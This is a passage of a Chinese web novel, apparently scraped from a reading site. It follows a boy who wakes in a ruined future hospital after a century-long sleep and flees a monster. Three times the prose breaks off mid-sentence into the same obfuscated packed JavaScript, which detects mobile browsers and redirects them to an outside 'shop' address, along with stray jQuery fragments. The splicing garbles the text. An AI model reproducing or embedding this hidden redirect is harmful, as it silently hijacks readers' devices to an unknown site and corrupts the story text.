《在末日当幼崽监护人》 1. 找妈妈的路上(一) 序 1962年7月20日,由科勒博罗纬①大学组织的十三人科考队到达了南极,打算在此开展长达半年的勘探工作。 但没多久,营地便于外界失去了联系,十三人也就此失踪。 为了寻找十三人的下落,大学请求邻近驻扎的科考人员前去查看。 电报发回的消息,让所有人震惊。 据说营地的位置似乎曾经遭遇了一场小型地震,导致地壳板块移动,以至于在营地没多远的的地方出现了一道宽至六米的裂缝。而科考队最后的踪迹就出现在裂缝旁,搜寻人员发现了车辆、帐篷、攀冰工具、滑轮以及坠入消失在裂缝里的绳索。 基于这些发现,现场几乎所有人都认为,科考队成员应该是在探索裂缝时发生了意外。然而后续的发现,却更加令人毛骨悚然。 在他们把绳索拉上来的时候,发现一具异常怪异的尸体。 尸体身着科考队制服,因为在极寒条件下迅速死亡,身体并没有发生腐烂,保持着原本的样貌,看起来是个二十岁出头的年轻人,脚踝被死死勒在绳子上,整个躯体则是倒挂悬在半空中。 而更加令人恐惧的是,他的遗体呈现出一种令人不寒而栗的状态,他的肚皮像是遭受了什么巨大外力的撕扯,胸部以下完全裂开,内脏则像被刻意清理过,全都消失了。 确切来说,这不像是人,更像是具人类的皮囊。 让所有人心生不安的是,他的脸上,布满泪痕,却还始终凝固着一种诡异的笑容。 似乎在死前,经历了某种不可名状、难以言表的恐惧。 第一章 荒芜的街道,杂草丛生,尽头有一处废弃的医院,被粗壮的树木隔开。 建筑已经坍塌毁坏,外面爬满了紫红色的藤蔓。里面的楼板四分五裂,所有支撑全被摧毁,暗红色的砖块袒露出来,水泥崩裂,露出的钢筋危险地支出来。 从墙皮剥落出来的电线和电子设备纠缠在一起,挂在半空中,伴随着吹进来的风,不停前后摇晃着。 底下有几张潮湿的病床,歪七八扭地挤成一团。 被子掉在了地上,表面又脏又旧,里面的棉花吸满了水,布满了珠状的粉色卵胎,像葡萄一样,密密涔涔集结在一起,淡粉色的薄膜下有东西正在缓慢地蠕动着。 一只肥硕的老鼠从床架底下钻出来,它有一双血红色的眼睛,身上长着厚厚的灰色毛发,还有一根又粗又长的粉红色尾巴。 它的动作迅速而敏捷,轻轻一跃,便跳到悬在半空中的电视机上。随后它晃动脑袋,又跳到上面的一层楼板。 那里是毁坏的卫生间,有淡黄色浑浊的液体正从管道里滴滴答答地落下。地板上有许多被石头砸出的坑洞,形成了好几个小水洼,里面生出了许多暗红色的铁线虫,一团一团的,絮状地缠绕在一起。 老鼠从水坑上一跃而过,直直钻出房间,冲向了走廊的尽头。 尽头处是一个被厚实的铁板封闭住的房间。天花板坍塌,紧闭的铁门被压出一道褶皱,在靠近地板的位置,出现一个巴掌大的豁口。里面有红色的闪光,令人眩目,正按照某种频率不断闪烁着。 老鼠灰色的毛被照得发红,但它没有停顿,毫不犹豫地钻了进去。 角落里,有一堆腐烂的菌菇,长着肉色的伞盖,散发着恶心的腐臭,却是老鼠的美味。 “嘀——” 伴随着炫目的红光,设备发出一声清脆的响——埋首于食物的老鼠没有抬头,因为那里被坚固的玻璃阻挡。 玻璃的另一边完全是另一个世界,干净整洁,没有微生物,充满了消毒水的味道。 用某种坚硬的材料制作的墙壁,支撑着整个房间的完整,而储存的电力让里面的设备能继续运转。 房间的中间,有一个银色的蛋形设备,约两米长,悬在半空中,首尾被四根银色金属管固定。 红光来自银蛋,数不清的电线从里面伸出来,连接着周围显示各种数据的屏幕。 而所有意外出现在一瞬间,设备上原本平稳的数据骤然出现剧烈的波动,尖锐的警鸣声随之响起。 下一刻,银蛋的外壳突然弹开,露出里面的东西——那是具少年人类的躯体,消瘦,苍白,脸上戴着面罩,手臂和胸口都连接着电极线。 那人双眼紧闭,正陷入长久的沉睡。 又一声刺耳的警鸣。 红光闪烁频率骤然加快。 毫无任何警示。 下一秒,那双紧闭的眼突然睁开,露出一双纯黑色的眼睛,又被刺眼的光芒激得闭上了眼,眼圈周围已经泛起红晕。 是个单薄的少年。 寂染从漫长的混沌里醒了过来,他好半天没有动,只是等适应光线后,茫然地再次睁开眼睛,大脑一片空白。 过了漫长的几分钟后,他突然闭上眼,又紧接着睁开,重复好几次后,就这么盯着天花板看了一阵,突然,他意识到什么,纯黑瞳孔猛然收缩——不对,不对。 他明明看不见的! 寂染黯淡无光的眼睛骤然迸发出光彩。扯开面罩,他撑着银蛋光滑的边缘痛吟着缓慢起身,再一一拔掉身上的连接线。 每个动作他都用到了最大的力气,可他的身体各处却都不听使唤。 手指在不停地痉挛抖动,关节则像缺少润滑剂的滑轮嘎吱嘎吱响,隐隐作痛。 他必须要付出更多的耐心,不多久,后背就起了一层细密的汗。 可他并没有不耐烦,嘴角都始终翘起,眼睛里也闪烁着兴奋的光芒。 但当手摸到腰部的时候,寂染还是茫然地微微一愣,扭转上半身,试图去看自己的背。 那里有一层金属甲片覆盖在脊椎处,很轻薄,像蝉翼一样,几乎没有感觉。 它像真正的脊椎一样,有相同的骨节,会随着动作灵活地压缩、拉伸、扭曲。 在脊椎尾骨的位置,银色的金属甲片像鱼鳞一样连成一片,又连接到他的腿部,膝盖,直到脚踝,就像昆虫的甲壳一样,牢牢贴在他的皮肤外表。 看到这些,寂染的瞳孔微微一缩,有些不可思议。 随后他试着动了下脚趾,下一刻,脚趾就像手指一样,张开,蜷缩,脚踝也紧跟着开始跟着扭动,带动了小腿的肌肉。 一不小心,他脚指头碰到舱壁上的金属,立刻感到一阵冰凉。 “这是——” 寂染睁大眼,迟疑地发出声,下一刻他又捂住自己的耳朵,激动得双眼发红,眼底发酸,一时间难以置信。 ——成功了,手术居然真的成功了! 他急促呼吸着,努力去搜索大脑里那些雾蒙蒙的记忆。 两年前,他遭遇了一场可怕的自然灾难。在那场灾难里,失去了亲人和朋友,自己则是身受重伤,一度垂死。 就算后来保住命也成了活死人,他既听不见也看不见,就连下半身也瘫痪了。 在接受无数次痛苦的手术后,寂染的视力得到了一点恢复,但只有非常模糊的影子,几乎只能感光。 他非常绝望,好几次想寻死。 直到小舅舅出现,带来了古怪的消息。 他努力搜索出来的记忆是小舅舅在他手心很激动地留下一排字——救援队发来消息,在黑洞底下,找到了人类活动的迹象。 黑洞底下有多深?是五百米?还是一千米? 两年过去了,为什么还有人活着? 当时的寂染内心充满了巨大的疑问,但没有答案,他被推走了。 他知道接下来有一场非常重要的手术,医生将清除掉脑袋里那个压迫神经的血块,让他能彻底恢复视觉和听力。 可当他被抱上病床时,他突然感到了一种难以描述的心悸,伴随着巨大的恐慌,他甚至还出现了幻听。 他本该听不见,可那一瞬间,他却清晰地听见,一种天崩地裂的巨响,正是那场撕裂整座城市的地震来临前,他曾听见过的,伴随着人们歇斯底里的惨叫声,让人的灵魂都为之颤抖。 ——又要来了吗? 寂染条件反射地挣扎,可根本来不及说什么,就被戴上了面罩。只五秒的时间,他看到头顶亮起刺眼的白光,然后就陷入了最深沉的黑暗。 “医生?” “小舅舅?” 寂染用沙哑干涩的声音叫喊,红光照亮周围的环境——除了机器,空无一人。 他疑惑地眨了眨眼,望向身下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240332|197702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 银蛋。在他零碎的记忆碎片里,从没见过这个东西。 他躺在一块银白色的金属板上,光滑,轻薄,恒温,悬空在像银蛋一样的睡眠舱中间。 金属板下有一种半透明的蓝色液体,散发着星星点点的荧光,显然他曾经浸泡在里面。 可当他坐起身,皮肤却没有任何黏稠或潮湿的感觉。 有些惊奇,他试着把手陷进去,却像是触摸到空气,把手拿出来的时候,皮肤上也没有任何残留——奇怪的液体。 没有再做过多的研究,寂染从银蛋里爬出来。 过程有些艰难,他还不适应用双腿支撑身体,下地的瞬间便瘫软地倒在了地上。 他不得不爬到房间的角落,那里有个电动轮椅。 除了电动轮椅,许多没有固定住的东西都堆积在这个角落。当他熟练地移动轮椅时,发现被轮子带出的物品又滑回到角落里。 这一刻,他终于意识到有些不对劲了——地板……地板好像倾斜了? 但这时候,寂染还是无法将所得到的信息连成有效的逻辑链。 由于才苏醒过来,寂染的大脑运作得十分迟缓。他只是觉得异常的兴奋,剩下的是万分的困惑,对遭遇的一切都充满了疑问,但却无法组织成准确的想法。 他茫然地观察着四周。 黑暗的病房里,炫目的红光令他头晕目眩。除了冰冷的设备,就是各种医学工具。 “有没有人?”寂染大喊一声,他望向天花板的摄像头,用力挥了挥手。 没有回音。 密闭昏暗的房间里,只有电子设备“嘀嘀”的提示音。 没有办法,寂染只能想办法先离开。他握住摇杆左右晃动,操纵着轮椅,靠近门。 门边有整面大块的玻璃墙,由于外面实在太黑,他没办法通过玻璃看到外面的情况。 而门锁是需要刷卡的电子锁,寂染试了几次,都没能成功。 实在没有办法,他只能呯呯用力捶打门板,同时拼命大喊:“有没有人!医生!护士!小舅舅!有没有人?我醒了,被困在房间里!” 可还是没有回应,寂染无可奈何下只能等待。 他有时候会敲打门拼命呼喊,有时候会走到摄像头下挥舞双手。 然而时间流逝得异常缓慢,他无聊地操纵电动轮椅,在病房里漫无目的地转圈。 但在汹涌的饥饿感来临的时候,寂染终于意识到,暂时不会有人来了。 他不得不另寻出路。 寂染出事的时候只有十二岁,在那之后便是两年不能感知外界的黑暗,因此他的心理年龄还停留在出事前。 他和所有的孩子一样,遇到不能理解的事情,第一时间想到的是找大人帮忙。 可再怎么都找不到第二人的情况下,寂染内心的不安感开始逐渐扩大。 “不对劲,真的很不对劲。” 似乎在他沉睡的期间发生了很不得了的事情,可究竟是什么他想不明白。 因为此刻发生的所有事都彻底超出了他的认知。 寂染打算主动寻找答案,于是他去研究那些电子设备,在看到设备屏幕显示的时间时,寂染有一瞬间的怔愣。 “2190年9月20日?” “是坏了吗?”寂染皱眉,不确定地又打开另一个设备,同样的日期和时间,在经过几次确认后,他不得不接受现实。 “已经过去了一百多年了……” 寂染瞬间起了一身的鸡皮疙瘩,被突如其来的信息震撼到久久不能思考。他僵坐在轮椅上,努力消化着事实。 与此同时,几段零碎的记忆钻进脑海里。 全都是陌生的画面,但能看出是医院的病房。 “又失败了,”青年人颓然地把脸覆盖在大手里,声音沙哑地说道:“救援队的探测器,在到达黑洞深处不到三百米的位置,突然开始不听使唤。似乎是里面的磁场有问题,导致电子设备全部失灵。他们告诉我,之前传回的数据,全都不可信……在黑洞底下,不可能再有生还者了……他们都让我放弃,不要再纠缠下去。” 说到这里,青年人哽咽了,他低泣着问:“我该怎么办?小染,我看不到希望了。” 2. 找妈妈的路上(二) 寂染想安慰他,可他没有出声,因为他身体插满了管子——手术成功了,清除了血块,他的听力视觉恢复。 可手术也失败了,手术前的心悸成真。他被不小心伤了神经,变成了有意识的活死人。 接下来是无休止的治疗、手术,而他很难再见到小舅舅。 小舅舅似乎变得很忙,两个家族企业的重担全部壓在了他身上。 寂染从新闻里听到,小舅舅把未来家族投资的重点转移到生物能源上。 具体很多描述过于学术专业他听不太懂,但还是搞清楚了,小舅舅正在研究一种很厉害的微型能源电池。 但许多科学家都在聊侃他异想天开,说他花钱在那上面,不如想办法捕捉暗物质,说不准还能得个诺贝尔奖。 又是过了很长的一段时间,广播里开始频繁出现令人不安的地质灾害新闻。 “据悉,近日墨西哥格雷罗州农业区出现多个巨型天坑,形成难以解释的地质奇观。专家指出,这种现象可能与地下水过度抽取导致土层发生变动有关,目前具体成因仍在进一步调查中……” “今日凌晨四时,埃塞俄比亚阿姆哈拉州突发地质塌陷,出现奇怪巨洞,直径五十米,呈现形状规整的圆形,从上空看是一个深不见底的黑洞,其具体深度尚无法探测,但初步估计超过六百米……” “国家地震台网正式测定,7月25日,00时23分,在新疆罗布泊无人区发生7.5级地震,震源深度10千米。” 在世界各地,罕见的自然灾难一个接一个地发生,特别是地震,许多吓人的天坑瞬间就冒了出来。 那些天坑还深不可测,简直像神话里的无底的地狱一般。 没有专家能详细解释这种现象,大多归为人类对地球资源的无限制地开发索取,导致地质结构发生了改变。 但寂染觉得不对,那是更可怕的东西,他体会过,因为他是地陷灾难中唯一的幸存者。 垂死之际,他曾听到令人生畏的声音,是来自深渊,既可怕又古怪的巨响。能让人感到从未有过、能直震灵魂的恐惧。每每想起那道声响,他就感到无法描述的心慌。 可寂染什么也说不出来,他想要朝周围人发出警示,可他那时候已经无法动弹。 最后一个闪回的记忆,只有几个碎片式的片段。 他看到了一个白发老人,面容有些熟悉,但他就是想不起对方是谁。那个老人却对他非常慈爱,正低着头,温柔地注视着寂染,并轻抚着他的脸。 老人的手宽大且粗糙,也很温暖。那一瞬间,寂染变得非常难过,感到一种难以抑制的悲伤,有种想哭的冲动。 另一个片段里老人站在一旁,和很多穿白大褂的人激烈交谈、争论,面红耳赤、嘴唇干裂,然后靠在设备上埋头低声哭泣,双眼通红。 再跳到一个片段,老人对他说了很久的话。 他只断断续续记得几个词:“小染……血块清除……沉睡状态……未变老……保持在十四岁……难以形容……治疗,新的……神经……脊椎……开创人类历史……期待……实验……” 最后,老人用叹息的声音道了一句对不起。一滴泪水落下,掉在了寂染的脸上。 异常滚烫。 寂染想伸手,去擦老人湿润的眼睛,告诉他:“您没有对不起我,这些年,是我让您受累了。” 可无论寂染的灵魂如何挣紥、呐喊,躯体依旧气死沉沉,无动于衷。 这时,老人抬起头,用干涩沙哑的声音对其他人说道:“开始吧。” 从那以后,寂染就陷入了沉睡,一直到现在。 他再次醒来,已经过去一百多年了,可再也见不到记忆里那些熟悉的面孔了。 眼泪啪嗒啪嗒掉在手背上。 寂染抬手擦拭着眼睛,想起最后记忆里那张老人的脸,分明就是晚年的小舅舅。 明明是最亲的两个人,可他却从没有和这个叛逆小舅舅相认过。 在他丧失感官的时候,听不见小舅舅的声音。对他来说,他不过是个不认识的陌生人。 而当他重获感官后,想和这个人交流,却再也没办法给出任何回应。 可能到最后一刻,小舅舅都不知道,那双总是睁着的眼睛,隐藏着早已清醒的灵魂,透过脆弱的躯壳,寂染已经认出了他。 因为他和自己是那样的像,从眼睛到鼻子,还有嘴唇。在珍藏的家族相册里,也有许多小舅舅的照片,高大,帅气,阳光。 可惜……再也回不去了。 等寂染再次醒来,已经是一百多年以后,以后的路真的只能靠自己了。 时间过得异常漫长。 不知道为什么,一直没有人来开门,寂染擦干眼泪,不得不接受现实。 他知道现在最紧要的不是找人,而是想尽办法让自己在这个奇怪的密室里活下去,首先得解决的是饿肚子的问题。 饥饿感如浪潮般袭来,寂染在回忆和寻找线索过程中,花费了太多体力,把身体仅剩的能量消耗得一干二净。 到这时候,他已经饿得两眼发黑,胃部隐隐作痛。 强打起精神,在房间里仔细搜索后,寂染在药品柜里找到一些有用的东西,是葡萄糖和维生素,还有糊状的营养液。 没有找到保质期,他试着尝了一口,发现味道还不错,有些像米糊,还有很好的饱腹感。 对于有一百多年没吃过东西的人来说,这东西简直是人间美味。 新发现让寂染松了口气,终于不用再挨饿了。 狼吞虎咽地吃掉两管营养液后,寂染胃部痉挛稍稍得到纾解。但随之而来是浓重的疲惫感,他忍不住开始犯困。 今天的探索让他体力消耗殆尽。 为了恢复体力,他又躺回到了银蛋里。银蛋内部有一种能让人立刻镇定的成分。 躺在里面几秒后,寂染内心的焦虑和不安消失了,随之而来是浓重的困意。 寂染眼皮重得不像话。 在彻底陷入沉睡前,寂染下意识抬头,看了一眼角落里的摄像头。 那后面应该没有人,可寂染还是忍不住寄上希望,万一有人正在注视着他呢? 他怀揣着小小的希望,在轻轻道了声晚安后,闭上了眼,进入了无梦的深眠。 接下来几天,寂染有很多事需要做。 因为长时间丧失听力和视觉,他的发音有些奇怪,嘴巴总是不听使唤,经常词不达意地发出含糊不清的声音。 于是他制作了一张字母表,开始最基础的元音辅音训练。 他还需要适应下背上这套奇怪的行走辅助器。很明显,这东西能让他下半身恢复知觉,但走路还是很费劲,他也没找到办法怎么把这东西卸下来。 他一边做着复健,一边研究门上的电子锁。 在很小的时候,寂染就喜欢拆解电子产品,琢磨里面的构造和零件,再自己动手搞个新的。 等再大一点,他接触到了好莱坞的科幻电影,便梦想着制造机器人。 但是,现实非常骨感。在机器人这领域里,天才多得是,还都是令时代惊艳的那种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240333|197702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。而他只是一个热爱机械的普通孩子,连加入机器人团队的门槛都够不着。 更别提,这里的门锁是未来科技,以他的那点拆收音机的能力,根本没办法打开。 在又一次提示密码错误后,寂染崩溃的情绪到达了顶峰。 他终于忍不住,冲着门发了脾气,大喊道:“快开门!” 话音刚落,电子门的红灯一闪,突然变成了绿色,紧接着下一秒,屋内响起了一道女人冰冷的声音——“声音识别,权限管理员,寂染,执行开门指令。” 寂染整个人呆住。 只听“咔哒”一声,那扇死死关着、隔绝他和外界的门,就这么轻而易举地弹开了。 寂染:“……” 居然,就这么简单。 深深吸了口气,他操纵轮椅朝后退了一些,弹开的门立刻开了一条缝——深黑色,什么也看不见的缝隙。 与此同时,透过那条缝,一股腐烂的潮气钻了进来。 但在这个时候,寂染根本没有注意到。 他心脏正呯呯狂跳,苍白的脸上浮现出激动的红晕。 在被困住的这十几个日夜里,他设想了很多场景:比如该如何向医护人员解释,他是一个百年前的古人。 还有,现在的人听他说话,是不是像他听以前的人“之乎者也”? 不过,最重要的事,是要想尽办法找到小舅舅的后人,然后继续完成学业。但按照现在的发展程度,他大概需要从小学开始学起。 然而,那都不重要了。 毕竟他又重获新生了,余生有很长很长的时间,足够让他去适应这个丰富多彩的未来世界。 他甚至计划好要努力赚钱,好得到一艘飞船。 嗯……就算没有飞船……根据科幻片的内容,现在的汽车应该可以上天下海了吧! 也不知道小舅舅的研究有没有成功,人类是不是已经进入了新纪元,会有怎样的新世纪展现到自己面前? 寂染想着想着,居然有点小激动起来。 满怀期待,寂染握住门把手,拉开了门。 然而—— 黑暗,目光所及是伸手不见五指的纯黑。 寂染并不怕黑,丧失了太久的视力,让他对黑暗并不恐惧,但他还是本能地感到不对劲。 他操纵着摇杆,小心翼翼地离开。 进入外界,黑暗立刻像潮水一样从四面八方涌上来,把他牢牢地包裹住。 寂染感觉自己好像又丧失了视力,在无边的黑暗中游走。 他中途停下,回过头。 亮着灯的房间像被玻璃罩藏起来的另一个世界。 在他的视野里,那扇电子门缓缓地自动关闭,几十秒后,仅剩下一条缝的光线消失,他彻底陷入黑暗了。 寂染轻轻眨了眨眼睛,深吸了好几口气后,他才回过头,继续缓缓朝前移动。 轮椅不时地碾过什么东西,让他前行的路程变得非常颠簸。 他不知道自己走得对不对,只是凭着直觉朝一个方向前行。 黑暗里,他的感官无限放大,他闻见了难以形容的臭味,像是食物腐坏的气味,又像是真菌植物散发的腥臭。 寂染陷入了难言的迷茫和恐慌中,他的胃部难受地翻滚着,好几次差点呕出来。但这些天只吃了营养液的他,根本什么也吐不出来。 “有人吗?”寂染轻轻喊了一声。 没有回答。 只有黑暗。 无边无际的黑暗。 还有无边无际的寂静。 3. 找妈妈的路上(三) 寂染甚至产生了一种想法,认为这一切都是假的,都是他的幻觉。而真正的他还困在病床上,是不能动弹的活死人。 他甩甩头,丢掉这种令人恐慌的想法,深吸一口气后,又提高音量再次重复一遍:“有人吗?” “有没有人在!” 没有回答,只有轮子碾压障碍物发出的嘎吱嘎吱的声响。 寂染没有放弃,继续提高音量,带着颤音呼喊着。 不知道过了多久,突然“呯”的一声,轮椅撞在了某个坚硬的障碍物上,导致他再也没办法朝前,他刚皱起眉,忽然,就听见远处——回廊的尽头…… 传来了脚步声。 “咚——咚——” 寂染顿了顿,朝声音的方向望过去。 那脚步声越来越小,似乎正朝相反的方向行进,准备离开,他心中一急,连忙高声大喊:“喂,等一下,我在这里!” 那脚步声猛然一滞。 下一秒,忽然飞速朝他所在的方向狂奔而来! 寂染愣了一下,紧接着瞳孔倏地一缩,整个头皮发麻起来,浑身不由自主地哆嗦起来。 那根本不是普通人能踩出的脚步声。 是一种重量巨大的东西,像落地的巨石,每次落脚都在用力捶地。关键之前明明在用和人类类似的步频两足行走,而现在却以人类难以达到的速度朝他飞速靠近。 那玩意……绝不是人! 寂染瘫坐在轮椅上,动弹不得,浑身像灌了铅一样,惊在了原地。 他的心悬在了嗓子眼,就听见自己的剧烈的心跳声和着那沉重的脚步声,在仅仅几秒的工夫,就离自己越来越近——十米,五米,一米! 几乎仅隔一墙的位置,那声音骤然一顿。 全身发毛,寂染咬住了后槽牙,紧紧捏着扶手,屏住了呼吸。 下一秒,耳边响起了窸窸窣窣的声响,随即有什么潮湿的东西逐渐靠近自己,腥臭的热气紧跟着喷洒在腿上。 寂染一动也不敢动,他绷紧身体,努力地克制身体的颤动。 然后……那东西靠近了他。他的皮肤触碰到了黏稠、坚硬、冰冷的东西,像是布满黏液的金属,上面还布满了密密麻麻细小的疙瘩,寂染很难想象出它究竟是什么。 那东西还不停发出“咯咯咯”的声响,像是人喉咙被卡住所发出的怪声。 这一刻,寂染恐惧到了极点,他努力抑制身体的反应,把自己紧紧贴在椅背上,装作是个木头桩子。 那东西原地徘徊了几分钟,没有察觉到什么,又缓缓地俯下头。 “呯——”金属撞击的声音。 寂染浑身一激灵,轮椅被撞得原地调转了个方向。 热气喷洒到了耳侧,咕噜咕噜的怪声就响彻在耳边。 他死死咬住后槽牙,全身青筋都鼓了起来,用尽全力不让自己发抖,可心脏却剧烈狂跳着,好几次他都疑心这疯狂跳动的心跳声会露了馅。 可能是金属声让那东西确认了轮椅没有生命,它探头轻轻嗅了嗅,好几次堪堪擦过寂染的身体。 黑暗里寂染什么也看不见,他紧紧抿住嘴,屏住呼吸。 他没有受过专业的屏息训练,每一秒钟延长,呼吸道都火辣辣的,像酷刑一样令人难受。 他整张脸憋得通红,就在他快要憋不住,脖子和手臂上青筋全鼓了起来,痉挛着握紧拳头时,怪物突然起身,转了个方向,没有留恋地离开了。 听到沉重的脚步声消失,寂染没有立刻动作,而是待在原地缓慢地重新呼吸。 等过了漫长的十几分钟后,寂染才重重松了口气,从全身发麻的恐惧中缓缓回过神来—— “必须马上回去!” 一个念头立刻充满了大脑。 “要快!” 没有任何地方,比他醒来时的房间安全。 事不宜迟,他迅速地调转头,可还来不及动作,就听见前方某个角落里,突然发出“嚓”的一声轻响! 那声音非常轻,但寂染对声音十分敏感,瞬间就捕捉到了。 此时此刻,一个万分可怕的想法在他脑海里浮现——那可怕的怪物一直没有离开,它躲在角落,隐去自己的声音,就是为了等他出现。 也就意味着,它是故意的,它有智力! 恐惧刹那间充满了寂染的全身,他的心脏像骤雨一样跳得飞快。 再也顾不上其他,他拼命用食指抵住前进的按钮,轮椅立刻像箭一样飞了出去。 可眨眼的工夫,那怪物的脚步声就在身后响起! 寂染呼吸一紧,下意识地转了个方向,就听半空中响起一声牙齿用力咬合的“咔嚓”声,正好就在他刚才所在的地方。 惊出一身冷汗,寂染一边操纵轮椅,一边拼命大喊:“开门!” 下一刻,那单调的机械女音在黑暗的走廊里空荡地回旋:“声音识别,权限管理员,寂染,执行开门指令”。 紧接着,厚重大门瞬间弹开,一道狭长的光线立刻从屋内笔直地射出来。 与此同时,一阵劲风随之袭来,寂染慌忙中弯下腰,正巧躲过了袭击。然而这举动却激怒了那怪物,它发出尖锐的嚎叫声,一边奋力冲向他,一边用力左右甩手臂,砸向两边的墙壁。 随着“咚咚”的巨响,墙皮和碎片被震得唰唰往下落。 寂染好几次差点被砖头砸中,他用电动轮椅走着曲线,一边躲散袭击,一边加速行进。 那怪物却始终紧紧跟着他,近在咫尺的距离。 突然,“轰”的一声,寂染清楚听见了石头裂开的声响,随后地板开始了剧烈震动。原来那怪物横冲直撞的行径,破坏了脆弱的楼体结构,导致楼板开!裂!了! 但寂染不知道怎么回事,他紧张地喘着气,不敢有半刻的停顿,抵住前进按钮的指头都要麻木了。 突然,一声哀嚎。 那怪物的动作终于慢了下来。 它被困住了。 卡进了楼板里。 听到困兽般发出的哀嚎,寂染忍不住回了头,借着门里透出的那一线光。起初,他只辨认出,那是一个白乎乎似人的玩意。 然而,随着拉开门,更多的光洒出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240334|197702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,他惊恐地睁大了眼睛,再也挪不开眼。 那是一种前所未见的生物——上肢细长几乎拖地,下肢膨胀着巨大的肌肉块,像两个巨锤。 它的头颅和人很像,有相同的五官,只是眼睛浑浊敷着一层白膜,鼻子则已经退化被肉皮包住,只剩下两个孔。 当它狂躁地晃动身体的时候,会露出背后没有毛的肉翅——不,更准确的描述,那更像是畸形儿多生出的手臂,瘫软无力地耷拉在背上,会随着身体的摆动左右乱晃。 还有一张巨大的嘴,几乎占据了头颅的一半,像被一把刀从中劈开,里面长满了锯齿状、细密而锋利的牙齿。 皮肤是没有血色的白,没有毛发,却覆盖了一层像盔甲一样灰黑色、细密的鳞片,缝隙里正不停渗着姜黄色的湿漉漉脓液。 数根粗大的钢筋贯穿了它的腹部,把它整个悬挂在裂开的楼板中间。 寂染胃里翻江倒海,脑袋里找不到任何关于这种生物的知识。这个丑陋的东西,明显具有穴居生物的特征,但比起蝙蝠,它更接近人类,只是器官全都扭曲了。 怪物的出现,彻底超出了他的理解范畴。 “人类完蛋了!” 冲进门后,寂染大脑里浮现出这唯一的念头。 从醒过来,半个月过去了,他从没有见到任何人,无论是医护人员还是病人,医院好像空置了。 外面没有电,也没有任何声音,而唯一见到的生物,是这样可怕的怪物。 想到这里,寂染打了个寒颤,随后害怕地想—— 难道,一百多年后,世界毁灭了? 而他,很有可能是现存唯一的正常人类? 这个想法实在太荒谬了,寂染整个人彻底混乱了。 回到房间,一切又变得安静祥和,仿佛一切都没有发生过。 但寂染再也不能平静了,门外的世界和他想象的完全不一样。医院已经沦陷了,那样可怕的怪物不知道还有多少。外面的世界究竟怎么了? 这一百多年,究竟发生了什么? 那怪物到底是什么东西? 越思考,寂染内心就越惶恐。 他心理年龄不过还是个刚读初中的少年。 就算恢复了视觉和听力,可双腿肌肉还没有恢复,他连普通的奔跑和跳跃都做不到,甚至行动能力还比不上一个幼童。 要怎么才能在这样可怕的废墟里生存呢,又怎么在怪物的眼皮子底下逃生呢? 难道一辈子躲在这个安全屋里吗? 可是这里的食物是万万不够的,营养液只能保证人类最基本的身体所需,份量也不多了,不需要多久,他就会面临食物危机。 真希望是在做梦。 对,一定是做梦。 一个非常荒诞的噩梦。 想到这里,寂染狠狠掐了一下自己的手臂。 “嘶——” 寂染疼得眼圈都发红了,他现在信了,这一切都是真实的。 他,寂染,在一百年后痊愈醒来。 却孤独一人,困在满是怪物的废墟里了。 4. 找妈妈的路上(四) 他绝望地把头靠在设备的面板上,胡思乱想一阵后,终于扛不住瘦弱的身体本能,疲惫地睡着了。 这一睡,又是一整晚,他第一次做了可怕的噩梦,先是被怪物追,又失足掉进无尽深渊。 醒来后,寂染想用现实也是噩梦来催眠自己,可打开门后,他看到了被卡在楼层中间的怪物。 那怪物听到动静,立刻从沉睡中醒来,然后开始发出呜呜的威胁声,一边拼命举起前爪张牙舞爪地挥舞着,一边发出震耳欲聋的动静。 灰石簌簌落下,这一切生动地向他展示,这就是现实,真正的现实。 倒抽口凉气,寂染完全无法思考,打着寒颤,战战兢兢回到安全屋静静待了一天。第二天他打开门,看到怪物依旧在走廊里。 它似乎被彻底卡住了,无论怎么挣扎,都没办法从楼板的裂缝里爬出来,这让寂染的恐惧稍减。 又过了一天的时间,寂染做好了心理准备,再次打开安全屋,再三确认怪物的确被困住后,他才通过屋里的光线去观察怪物以及周围的环境。 楼板倾斜不是他的幻觉,整栋建筑都被摧毁了,像是被炮弹群猛烈地袭击,只留下了一片废墟。 而且时间还不短,周围已经长满了绿色的青苔和紫色的藤蔓。他甚至在角落发现一些颜色鲜艳的菌类,长串的,珍珠大小的,还有长得像人手指的,都是从未见过的珍奇物种。 这些发现让寂染心里升起了些微的希望——也许还有正常人类。 他们在很久以前曾经试图消灭怪物。战火无情,猛烈的火力下,医院成了废墟,于是他们选择放弃这里,离开了。 寂染安慰着自己。 为了印证这个假设,他做了个决定,打算查探下附近的情况。 无论如何,没有比现在更糟糕的情况了。 这次他不再莽撞,特地做了很多准备。为了避免撞见怪物,或者困在某个地方,他特地携带了一些急救药品,还有营养液,还拿白大褂做了简易的包袱,把东西都装进去。 